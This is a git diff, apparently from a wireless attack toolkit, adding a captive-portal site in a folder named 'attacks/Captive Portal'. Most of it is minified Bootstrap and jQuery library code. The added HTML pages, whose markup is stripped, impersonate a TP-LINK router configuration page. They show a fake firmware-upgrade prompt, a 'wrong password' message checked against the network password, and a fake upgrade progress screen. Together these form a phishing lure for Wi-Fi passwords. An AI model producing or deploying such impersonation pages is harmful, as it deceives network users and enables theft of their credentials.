0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.6",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.6",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&jdocument.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth
',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),c.isInStateTrue()?void 0:(clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide())},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-mo.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.6",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.6",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(void 0===e[a+1]||b .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.6",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html new file mode 100755 index 0000000..7b0394f --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html @@ -0,0 +1,90 @@ + + Router Configuration Page

Firmware Upgrade

Wrong password

Password you entered does not match network password. Please go back and enter correct password.

TP-LINK© 2016, All Rights Reserved.

\ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html new file mode 100755 index 0000000..4fcfc30 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html @@ -0,0 +1,155 @@ + + Router Configuration Page

Firmware Upgrade In Progress

The update is currently being uploaded to the router. Please do not disconnect or turn off the router while it's being updated.

0% Complete

TP-LINK© 2016, All Rights Reserved.

\ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html new file mode 100755 index 0000000..412f4a4 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html @@ -0,0 +1,1190 @@ + + Router Configuration Page

Firmware Upgrade

A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.

TP-LINK© 2016, All Rights Reserved.

\ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js b/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js new file mode 100755 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return 